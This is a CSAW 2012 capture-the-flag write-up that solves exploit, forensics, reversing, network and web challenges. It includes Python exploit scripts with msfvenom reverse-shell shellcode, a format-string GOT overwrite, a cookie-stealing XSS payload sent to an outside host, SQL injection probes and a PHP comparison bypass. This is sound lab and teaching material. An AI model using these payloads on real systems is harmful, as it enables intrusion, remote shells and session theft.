Better late than never! There are already tons of excellent writeups online (many more complete in terms of problems) but this is yet another one. If you’re new here, one thing I try to do is include all the files you need to follow along. So if you didn’t actually play in csaw, this is where my writeup might be worthwhile. These are the odd math problems with answers in the back of the text box :)
I played on ACME Pharm. We managed to solve all the challenges except network 400. We sort of gave up on it and quite a few teams passed us. After the CTF finished, I went back and solved several that looked interesting and other people on the team solved during the CTF. Point being, if I mess something up in this write-up it shouldn’t reflect poorly on the rest of the team :P
Exploits 200
Problem: exploit200
Cracking the binary open in IDA, we see this pretty early.
.text:08048D4B loc_8048D4B: ; CODE XREF: main+2DBj
.text:08048D4B mov dword ptr [esp], 0 ; uid
.text:08048D52 call _setuid
.text:08048D57 cmp eax, 0FFFFFFFFh
.text:08048D5A jz short loc_8048D74
.text:08048D5C mov dword ptr [esp], offset aGotroot ; "gotroot"
.text:08048D63 call _perror
.text:08048D68 mov dword ptr [esp], 1 ; status
.text:08048D6F call _exit
.text:08048D74 ; ---------------------------------------------------------------------------
.text:08048D74
.text:08048D74 loc_8048D74: ; CODE XREF: main+304j
.text:08048D74 mov eax, [esp+0F8h]
.text:08048D7B mov [esp], eax ; fd
.text:08048D7E call handle
.text:08048D83 mov eax, 0
.text:08048D88 jmp short loc_8048DBB
The key is grabbed in the “handle” function, where the interesting stuff is. So the point of this snippet, we can’t run as root. Gettingg into the handle function, it compares to this:
.text:08048980 mov [esp+4], eax ; buf
.text:08048984 mov eax, [ebp+fd]
.text:08048987 mov [esp], eax ; fd
.text:0804898A call _recv
.text:0804898F mov [ebp+var_D], 0
.text:08048993 mov dword ptr [esp+4], offset secret ; "AAAAAAAAAAAAAAAAAAAAAAAAAA\n"
.text:0804899B lea eax, [ebp+buf]
.text:080489A1 mov [esp], eax ; s1
.text:080489A4 call _
Then it reads from a file called “./key” and sends the contents (at least the first word) back. I just sent the As and it sent me back the key from the file.
echo "AAAAAAAAAAAAAAAAAAAAAAAAAA" | ncat 192.168.138.129 54321
Wecome to my first CS project.
Please type your name: thisismysecretkeyAAAAAAAA
Exploits 300
Problem: exploit300
There is a bunch of signal stuff that breaks up the execution flow. To debug, I made sure to modify how gdb handled signals being thrown at it, using the “signal” command. Also, how I debug remote processes is I set follow-fork-mode child. That way I can see where it’s crashing. Other people sometimes do this by patching the fork with nops, which is also an option.
Right off, the program exits if there isn’t a user named “liotian”, so if running locally this user needs to be added. But after you have the user and if you’re ignoring signals, it’s a straightforward buffer overflow. I just sent metasploit’s ./pattern_create.rb at it and found the offset it crashed at using pattern_offset. Also, I had to subtract a bit off of esp in my shellcode since metasploit’s encoding needs the stack, and in this case the stack was corrupted by being too close to eip. To adjust the stack I add “\x81\xC4\x3E\xFE\xFF\xFF” to the top which is opcodes for “add esp, -450”. (by the way, another handy tool is metasploit’s ./nasm_shell, which I use quite a bit to turn assembly to opcodes)
#!/usr/bin/python
import socket
import argparse
import struct
# msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.138.129 -b '\x00' -e x86/shikata_ga_nai
shellcode = (
"\x81\xC4\x3E\xFE\xFF\xFF" + #adjust esp
"\xdb\xc7\xbe\x75\xd1\xf5\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x14\x31\x73\x19\x83\xeb\xfc\x03\x73\x15\x97\x24\xc4" +
"\x1d\xa0\x24\x74\xe1\x1d\xc1\x79\x6c\x40\xa5\x18\xa3\x02" +
"\x9d\xba\x69\x6a\x20\x43\x9f\x36\x4e\x53\xce\x96\x07\xb2" +
"\x9a\x70\x40\xf8\xdb\xf5\x31\x06\x6f\x01\x02\x60\x42\x89" +
"\x21\xdd\x3a\x44\x25\x8e\x9a\x3c\x19\xe9\xd1\x40\x2c\x70" +
"\x12\x28\x80\xad\x91\xc0\xb6\x9e\x37\x79\x29\x68\x54\x29" +
"\xe6\xe3\x7a\x79\x03\x39\xfc"
)
print len(shellcode)
parser = argparse.ArgumentParser()
parser.add_argument("--host", default="128.238.66.218")
parser.add_argument("--port", default=4842 )
args = parser.parse_args()
jmpesp = struct.pack("<I", 0x08048fbb)
payload = "A" * 326 + jmpesp + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((args.host, args.port))
data = s.sendall(payload)
Exploit 400
Problem: Exploit400
This is a clear format string vulnerability. In gdb just set follow-fork-mode child and see the process crash with %n. This happens at:
08048BFE call _snprintf
We can get an arbitrary overwrite at the close got address that’s called pretty soon after
.got.plt:0804B064 off_804B064 dd offset close
so the location where we want to overwrite to control eip is 0804B064
let’s see where our format is coming from:
.text:08048BE9 mov [esp+8], eax ; format
.text:08048BED mov dword ptr [esp+4], 3FFh ; maxlen
.text:08048BF5 lea eax, [ebp+s]
.text:08048BFB mov [esp], eax ; s
.text:08048BFE call _snprintf
setting a breakpoint, this is 0x804b120, which is
(gdb) maintenance info sections
Exec file:
`/home/mopey/exploit400', file type elf32-i386.
0x8048154->0x8048167 at 0x00000154: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048168->0x8048188 at 0x00000168: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
...
0x804b080->0x804b0e8 at 0x00002080: .data ALLOC LOAD DATA HAS_CONTENTS
0x804b100->0x804b320 at 0x000020e8: .bss ALLOC
0x0000->0x002a at 0x000020e8: .comment READONLY HAS_CONTENTS
so oour format string is in .bss, which is also marked as executable and won’t vary like the stack would. Here’s the final exploit
#!/usr/bin/python
import socket
import argparse
import struct
# msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.138.129 -b '\x00' -e x86/shikata_ga_nai
shellcode = (
"\xdb\xc7\xbe\x75\xd1\xf5\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x14\x31\x73\x19\x83\xeb\xfc\x03\x73\x15\x97\x24\xc4" +
"\x1d\xa0\x24\x74\xe1\x1d\xc1\x79\x6c\x40\xa5\x18\xa3\x02" +
"\x9d\xba\x69\x6a\x20\x43\x9f\x36\x4e\x53\xce\x96\x07\xb2" +
"\x9a\x70\x40\xf8\xdb\xf5\x31\x06\x6f\x01\x02\x60\x42\x89" +
"\x21\xdd\x3a\x44\x25\x8e\x9a\x3c\x19\xe9\xd1\x40\x2c\x70" +
"\x12\x28\x80\xad\x91\xc0\xb6\x9e\x37\x79\x29\x68\x54\x29" +
"\xe6\xe3\x7a\x79\x03\x39\xfc"
)
parser = argparse.ArgumentParser()
parser.add_argument("--host", default="192.168.138.129")
parser.add_argument("--port", default=23456 )
args = parser.parse_args()
#.got send
owLocation = 0x0804B068
owValue = 0x804b145
def createFmt(owValue, owLocation):
HOB = owValue >> 16
LOB = owValue & 0xffff
if HOB < LOB:
payload = struct.pack("<I", owLocation + 2)
payload += struct.pack("<I", owLocation)
payload += "%." + str(HOB -8) + "x"
payload += "%5$hn"
payload += "%." + str(LOB-HOB) + "x"
payload += "%6$hn"
else:
payload = struct.pack("<I", owLocation + 2)
payload += struct.pack("<I", owLocation)
payload += "%." + str(LOB -8) + "x"
payload += "%6$hn"
payload += "%." + str(HOB-LOB) + "x"
payload += "%5$hn"
return payload
payload = createFmt(owValue, owLocation)
payload += "\x90" * 30
payload += "\xcc"
payload += shellcode
payload += "\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((args.host, args.port))
data = s.recv(1024)
print data
s.sendall(payload)
while data != "":
data = s.recv(1024)
print data,
There’s also some detection of /bin/sh and stuff, but since my shellcode was generated all of these were hidden automatically for me.
Forensics 100, 200
Files: Forensics100, Forensics200
To solve these, I first used strings to find a bunch of stuff that looked like this.
tEXtcomment
key{rodney danielle}
tEXtcomment
key{matthieu blayne}
I know nothing about PNGs, but searching online for these tEXT sections I stumbled across a tool called pngcheck.
For number 200 I tried
pngcheck -7 version1.png
comment:
key{nguyen willie}
comment:
key{takeuchi gregory}
version1.png CRC error in chunk tEXt (computed 5005ed3c, expected 26594131)
and takeuchi gregory is the only one with a tEXT chunk checksum error, and also the key. In forensics 200, it’s almost the same except for the key is the only tEXT chunk without an error.
pngcheck -7 -f version2.png |less
...
key{donnie winston}
version2.png CRC error in chunk tEXt (computed 1bc013c9, expected c913c01b)
comment:
key{jeremy socorrito}
version2.png CRC error in chunk tEXt (computed bcb8529b, expected 9b52b8bc)
comment:
key{johnnie tigger}
(no error)
Reversing 100
Problem: Rev100
This is a Window’s executable. There’s this main function that prints the encrypted key and ends, and then there’s a decryption function that’s never reached. You can’t see it in graph mode, but in text mode this function is clear.
ext:004010EE add esp, 8
.text:004010F1 push 0 ; uType
.text:004010F3 push offset Caption ; "Key!"
.text:004010F8 lea ecx, [ebp+Text]
.text:004010FB push ecx ; lpText
.text:004010FC push 0 ; hWnd
.text:004010FE call ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
.text:00401104 push 0FFFFFFFFh ; Code
.text:00401106 call ds:__imp__exit
.text:00401106 main endp
.text:00401106
.text:0040110C ; ---------------------------------------------------------------------------
.text:0040110C lea edx, [ebp-18h]
.text:0040110F push edx
.text:00401110 call decrypt
.text:00401115 add esp, 4
.text:00401118 push offset aDecryptedKey ; "Decrypted Key: "
.text:0040111D lea eax, [ebp-58h]
.text:00401120 push eax
.text:00401121 call _strcpy
.text:00401126 add esp, 8
.text:00401129 lea ecx, [ebp-18h]
.text:0040112C push ecx
.text:0040112D lea edx, [ebp-58h]
.text:00401130 push edx
.text:00401131 call _strcat
.text:00401136 add esp, 8
.text:00401139 push 0
.text:0040113B push offset aKey ; "Key!"
.text:00401140 lea eax, [ebp-58h]
.text:00401143 push eax
.text:00401144 push 0
.text:00401146 call ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
.text:0040114C push 0
.text:0040114E call ds:__imp__exit
so I want to fill the exit at 00401104 with nops. I do this in windbg with
eb 00401104 90 90 90 90 90 90 90 90
then I run the program, and it prints the key
Reversing 200
Problem: Rev200
This is a managed .NET windows executable. To win, you can just set a breakpoint at the end and read the key. I used windbg with the sos extensions
0:000> .loadby sos clr
0:000> !DumpStackObjects
OS Thread Id: 0xf58 (0)
ESP/REG Object Name
0012F244 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F2A4 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F304 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F334 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle
0012F358 00b2d4c4 System.IO.__ConsoleStream
0012F37C 00b2d4f4 System.IO.StreamReader
0012F380 00b2d4f4 System.IO.StreamReader
0012F398 00b2d4f4 System.IO.StreamReader
0012F39C 00b2d864 System.IO.TextReader+SyncTextReader
0012F3BC 00b2d864 System.IO.TextReader+SyncTextReader
0012F3E4 00b2d430 System.Char
0012F3E8 00b2d3cc System.String The key is 9c09f8416a2206221e50b98e346047b
0012F3EC 00b2d44c System.String The key is 9c09f8416a2206221e50b98e346047b7
0012F3F0 00b2d430 System.Char
0012F3F4 00b2d3cc System.String The key is 9c09f8416a2206221e50b98e346047b
0012F3F8 00b2b65c System.Byte[]
0012F3FC 00b2d44c System.String The key is 9c09f8416a2206221e50b98e346047b7
0012F410 00b2b64c System.Object[] (System.String[])
0012F4C4 00b2b64c System.Object[] (System.String[])
0012F66C 00b2b64c System.Object[] (System.String[])
0012F6A0 00b2b64c System.Object[] (System.String[])
0012F7DC 01b23250 System.Object[] (System.Object[])
0:000> !DumpObj 00b2d44c
Name: System.String
MethodTable: 79b9fb08
EEClass: 798d8bb0
Size: 100(0x64) bytes
File: C:\WINDOWS\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
String: The key is 9c09f8416a2206221e50b98e346047b7
Fields:
MT Field Offset Type VT Attr Value Name
79ba2ad4 4000103 4 System.Int32 1 instance 43 m_stringLength
79ba1f24 4000104 8 System.Char 1 instance 54 m_firstChar
79b9fb08 4000105 8 System.String 0 shared static Empty
>> Domain:Value 0015d938:00b21228 <<
Reversing 300
Problem: Rev300
Another managed .NET windows executable.
First, you need to recompile to get out the system exit that happens at the beginning. I used ilspy to disassemble and create a .csproj I could open with visual studio. Then I recompiled to edit this out. Alternatively, you could jump over it in a debugger, but I think recompiling is probably easier.
Second, I need to get out the md5hash it’s getting from program files. We need to create a file there that md5hashes to the same hash it’s comparing.
#!/usr/bin/python
import binascii
array = [
255,
151,
169,
253,
237,
224,
158,
175,
110,
28,
142,
201,
246,
166,
29,
213
]
stuff = binascii.hexlify(''.join([chr(i) for i in array]))
print stuff
This generates the md5 hash: ff97a9fdede09eaf6e1c8ec9f6a61dd5, which Googling gives us the string “Intel”. double checking:
$ echo -n "Intel" | md5sum.exe
ff97a9fdede09eaf6e1c8ec9f6a61dd5 *-
Once we have a directory c:\\program files\Intel, the program will print the key: That was pretty easy, wasn’t it? \key{6a6c4d43668404041e67f0a6dc0fe243}
Reversing 400
Problem: rev400
This is almost identical to reversing 100, except it’s a linux elf rather than a Window’s exe. I have the same strategy here. My biggest problem was figuring out how to configure gdb to write into .text sections (you do it with write, and then you have to reload the executable)
(gdb) set {char}0x0000000004006B9 = '\x90'
Cannot access memory at address 0x4006b9
(gdb) show write
Writing into executable and core files is on.
(gdb) ex
exec-file explore
(gdb) exec-file ./csaw2012reversing
(gdb) set {char}0x0000000004006B9 = '\x90'
(gdb) set {char}0x0000000004006BA = '\x90'
(gdb) set {char}0x0000000004006BB = '\x90'
(gdb) set {char}0x0000000004006BC = '\x90'
(gdb) set {char}0x0000000004006BD = '\x90'
(gdb) set {char}0x0000000004006BE = '\x90'
(gdb) set {char}0x0000000004006BF = '\x90'
(gdb) set {char}0x0000000004006C0 = '\x90'
(gdb) set {char}0x0000000004006C1 = '\x90'
(gdb) set {char}0x0000000004006C2 = '\x90'
(gdb) continue
Encrypted Key:
Decrypted Key: csawissohard__:(
[Inferior 1 (process 39007) exited normally]
Net 100
Problem: net100
This was a pcap. Simply open it in wireshark, right click to follow the stream for the key.
Net 200
Problem: net200
Some dude I know is planning a party at some bar in New York! I really want to go but he’s really strict about who gets let in to the party. I managed to find this packet capture of when the dude registered the party but I don’t know what else to do. Do you think there’s any way you can find out the secret password to get into the party for me? By the way, my favorite hockey player ever is mario lemieux.
Solution:
glancing through this in wireshark it looks like there are POST requests to party requests. Setting this filter:
ip.addr == 66.96.131.56 and http.request.method == "POST"
looking through these, following the second one gives:
si_contact_CID=1&si_contact_name=Mike+Jones&si_contact_email=mike%40example.com&si_contact_ex_field1=917-459-2485&si_contact_subject=Party+time%21&si_contact_message=Hey%21+I+want+to+plan+a+party+at+your+venue.+I%27m+expecting+a+lot+of+people+though+and+I+don%27t+want+anyone+who+isn%27t+supposed+to+be+there+showing+up+for+the+fun.+If+you+can+do+me+a+favor+and+make+sure+to+ask+for+the+phrase+%22brooklyn+beat+box%22+before+letting+attendees+in%2C+that+would+be+awesome%21&si_code_ctf_4=H2cEwa6GC0WdaT8P&si_contact_captcha_code=B38F&si_contact_action=send&si_contact_form_id=4
so “brooklym beat box”
Net 300
Problem: net300
Opened up the pcap in wireshark and looked at it for a while. One thing I noticed was in frame 67 it says it’s a Teensy Keyboard/Mouse. Googling for teensy keyboard gives us this site, which I thought was useful: http://www.pjrc.com/teensy/usb_keyboard.html. It has a table on the front page which looks promising. Looking at the .h file gives a bunch of codes for the table…
I still wasn’t completely sure how to extract things. Presumably I want to get the keys being pressed.
I decided to try capturing my own keyboard traffic, and ended up here: http://wiki.wireshark.org/CaptureSetup/USB. This also turned out to be useful.
We can attach to the keyboard USB bus simply by observing the interfaces, and which interface gets traffic when we type. Then, attaching to the interface we can see traffic. Four “frames” happen for every key pressed. Inferring from the table given in the teensy link and knowing the key I actually pressed (e.g. “B” is 5), the keycode is clearly in the “Leftover Capture Data” at the end of the first interrupt. For example, this is a “b” being pressed.

I don’t know much about USB still, but all the other packets when I press a key seem to have a 0 at the -6th byte, so we can potentially filter on this. That’s what I did in my first attempt
#!/usr/bin/python
from scapy.all import *
KEY_CODES = {
4:"A",
5:"B",
6:"C",
7:"D",
8:"E",
9:"F",
10:"G",
11:"H",
12:"I",
13:"J",
14:"K",
15:"L",
16:"M",
17:"N",
18:"O",
19:"P",
20:"Q",
21:"R",
22:"S",
23:"T",
24:"U",
25:"V",
26:"W",
27:"X",
28:"Y",
29:"Z",
30:"1",
31:"2",
32:"3",
33:"4",
34:"5",
35:"6",
36:"7",
37:"8",
38:"9",
39:"0",
40:"\n",
44:" ",
45:"-",
46:"=",
47:"{",
48:"}",
}
pkts = rdpcap("net300.pcap")
msg= ""
for packet in pkts:
global msg
hid_report = packet.load[-8:]
key_code = ord(hid_report[2])
ch = KEY_CODES.get(key_code, False)
if ch:
msg += ch
print msg
This prints:
BBBARXTERM -GEOMETRY 12X1=0=0
ECHO K
RXTERM -GEOMETRY 12X1=75=0
ECHO E
RXTERM -GEOMETRY 12X1=150=0
ECHO Y
RXTERM -GEOMETRY 12X1=225=0
ECHO {
RXTERM -GEOMETRY 12X1=300=0
ECHO C
RXTERM -GEOMETRY 12X1=375=0
ECHO 4
RXTERM -GEOMETRY 12X1=450=0
ECHO 8
RXTERM -GEOMETRY 12X1=525=0
ECHO B
RXTERM -GEOMETRY 12X1=600=0
ECHO A
RXTERM -GEOMETRY 12X1=675=0
ECHO 9
RXTERM -GEOMETRY 12X1=0=40
ECHO 9
RXTERM -GEOMETRY 12X1=75=40
ECHO 3
RXTERM -GEOMETRY 12X1=150=40
ECHO D
RXTERM -GEOMETRY 12X1=225=40
ECHO 3
RXTERM -GEOMETRY 12X1=300=40
ECHO 5
RXTERM -GEOMETRY 12X1=450=40
ECHO C
RXTERM -GEOMETRY 12X1=375=40
ECHO 3
RXTERM -GEOMETRY 12X1=525=40
ECHO A
RXTERM -GEOMETRY 12X1=600=40
ECHO }
I was pretty stuck here, since what appears to be the key wasn’t working. But it turns out the geometry was just off. If you sort the geometry on the C and 3 character at the end, you win.
Web 300
Problem: This is a website belonging to a horse-fighting gang. Even with an account, it’s not clear what they’re up to. Your task is to get administrator access and see if you can figure anything out. Your account is csaw_challenger/letmein123.
Solution:
This web app had a SQL injection in /horse.php, but it also had a waf that was blocking UNION and SELECT. In early testing, I did a few queries like these:
#there are four columns
GET /horse.php?id=1+OR+1%3d1+ORDER+BY+5-- HTTP/1.1
#v5
GET /horse.php?id=1-(IF(MID(version(),1,1)+LIKE+5,+BENCHMARK(10000000,SHA1('true')),false)) HTTP/1.1
Someone else on my team solved this before I did, and I got pretty stuck since they said they just used a simple union. I tried various logic flows to get back to that point. I didn’t spend too much time on it though, since we had already solved it and we had unsolved network 400 (I hate you network 400). It turns out the web app was broken at the beginning of csaw (waf wasn’t working) and later they fixed the challenge. The WAF bypass was through parameter polution, and googling the first writeup I see is here: http://isisblogs.poly.edu/2012/09/30/csaw-ctf-horseforce-writeup/.
Web 400
Problem: CryptoMat is a site where you can send encrypted messages to other users. Dog is a user on the site and has the key. Figure out how to get into his account and obtain it.
Solution:
The data is just xored with this array, the key, and the previous block:
xordata = [0x17, 0x34, 0x17, 0x39, 0x11, 0x35, 0x24, 0x36]
Writing code, this should work with arbitrary keys, which becomes important later on. Here is code to encrypt or decrypt arbitrary data with arbitrary keys:
#!/usr/bin/python
import sys
import urllib
def padArg(argv):
while len(argv) % 8 != 0:
argv += "\x00"
return argv
def padKey(key, dlen):
padKey = key
i = 0
while len(padKey) < dlen:
padKey += key[i%len(key)]
i += 1
return padKey
xordata = [0x17, 0x34, 0x17, 0x39, 0x11, 0x35, 0x24, 0x36]
padarg = padArg(sys.argv[1])
key = sys.argv[2]
padKey = padKey(key, len(padarg))
print padKey
fstr = ""
for i in range(0, len(padarg)):
a = ord(padarg[i]) ^ xordata[i%8] ^ ord(padKey[i])
xordata[i%8] = (ord(padarg[i]))
fstr += chr(a)
#dummy uriencode, because normal urilib encode seemed to break something
a = [(ord(i)) for i in fstr]
for i in a:
i = hex(i)
i = i[2:]
if len(i) == 1:
i = "0" + i
i = "%"+i
sys.stdout.write(i)
print ""
The goal is to get DoG to execute script, which will be decrypted – so we need to encrypt Javascript that will send us the key. We want something like:
document.location="https://webstersprodigy.net/blah?" + bdocument.cookie
Unfortunately, the javascript doesn’t seem to like quotes (or it could be an issue with my code). Regardless, we can encode it so it doesn’t need quotes using hackvertor. So then we transform this into
<script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,98,97,100,46,119,101,98,115,116,101,114,115,112,114,111,100,105,103,121,46,110,101,116,47,98,108,97,104,63,80,82,79,80,69,82,84,89,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))</script>
We then monitor on the web server to steal dog’s login. I eventually get: PHPSESSID=4ehb7kihmi774r6bf9u48h37e0, but it seems to change quickly and expires in a few minutes. Luckily I was running through burp and spidered all the pages, so the data was all in my history.
I pull back this in the inbox
<td>Cat</td>
<td>PASS PLZ</td>
<td><a href="download.php?id=2"><img src="res/dl.png" /></a></td>
</tr>
<tr class="open">
<td>Cat</td>
<td>WAT</td>
<td><a href="download.php?id=4"><img src="res/dl.png" /></a></td>
</tr>
<tr class="open">
<td>Cat</td>
<td>Your key is ILIKECARROTS</td>
<td><a href="download.php?id=5"><img src="res/dl.png" /></a></td>
</tr>
<tr class="open">
<td>Cat</td>
<td>THX</td>
<td><a href="download.php?id=6"><img src="res/dl.png" /></a></td>
</tr>
and this in the outbox
<td>Cat</td>
<td>Hello, this is Dog.</td>
<td><a href="download.php?id=1"><img src="res/dl.png" /></a></td>
<td><a href="delete.php?id=1"><img src="res/cross.png" /></a></td>
</tr>
<tr class="open">
<td>Cat</td>
<td>Ok.jpg, encoded my key with your</td>
<td><a href="download.php?id=3"><img src="res/dl.png" /></a></td>
<td><a href="delete.php?id=3"><img src="res/cross.png" /></a></td>
</tr>
The interesting looking messages are:
Message 1 1c30112f5c670a12322e2b14794b1a3a151c0c2a535d281a34232e1b444528393a22367a33205b56
Message 2 1775567850746577
Message 4 1775567850746577
Message 3 1d192a013504000538330a3d112d494e
Message 5 6147614d6b495a5b
Message 6 1775567850746577
Some of the messages (ascii hex encoded):
I used the key “Ilikecarrots” to decrypt message 5, which contained the key to the previous message, all the way back to the key for submission.
Web 600
Everyone said this was easy, and it is if you know the “trick”, but I spent quite a bit of time trying timing account type attacks and stuff… Someone else on the team solved it, and this is what they have.
The code source shown in the phps is as follow :
<?php
$key = "key{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}";
$pass = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
if ( strcasecmp( $_GET['pass'], $pass ) == 0 ) {
echo($key);
}
?>
According to the php manual the strcasecmp function is a Binary safe case-insensitive string comparison and returns 0 if str1 is greater than str2, and 0 if they are equal.
By passing pass[] (an array) as argument like follow (even with value null) :
http://128.238.66.216/eccbc87e4b5ce2fe28308fd9f2a7baf3/submit.php?pass%5B%5D
the strcasecmp will try comparing an array in $_GET[‘pass’] with the string declared locally called $pass.
This will lead strcasecmp to return a NULL result (not same as 0 in case of two strings equals) and in this case we will have : NULL==0 so the result will be :
key{this_is_how_our_scoreboard_was_owned_last_night}